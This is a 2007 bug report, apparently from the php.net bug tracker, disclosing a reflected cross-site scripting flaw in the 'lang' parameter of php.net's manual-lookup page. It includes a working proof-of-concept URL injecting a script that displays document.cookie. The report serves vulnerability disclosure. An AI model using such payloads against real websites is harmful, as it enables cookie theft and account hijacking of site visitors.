#41376 [Opn]: a xss bug on php.net website
| From: | dedemoulu at hotmail dot com | Date: | Sat, 12 May 2007 14:44:20 +0000 |
| Subject: | #41376 [Opn]: a xss bug on php.net website | ||
| References: | 1 | Groups: | php.mirrors |
| Request: | Send a blank email to php-mirrors+get-35359@lists.php.net to get a copy of this message | ||
ID: 41376
User updated by: dedemoulu at hotmail dot com
Reported By: dedemoulu at hotmail dot com
Status: Open
Bug Type: Website problem
Operating System: not important
PHP Version: Irrelevant
New Comment:
Description:
------------
hello,
I have discovered a xss bug on php.net website.
this xss is on the $_GET['lang'], example:
http://fr.php.net/manual-lookup.php?pattern=osef&lang="><script>alert(do
cument.cookie)</script>
GoodBye, d-day
Previous Comments:
------------------------------------------------------------------------
[2007-05-12 14:43:01] dedemoulu at hotmail dot com
Description:
------------
hello,
I have discovered a xss bug on php.net website.
this xss is on the $_GET['lang'], example:
http://fr.php.net/manual-lookup.php?pattern=osef&lang="><script>alert(document.cookie)</script>
GoodBye, André moulu
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=41376&edit=1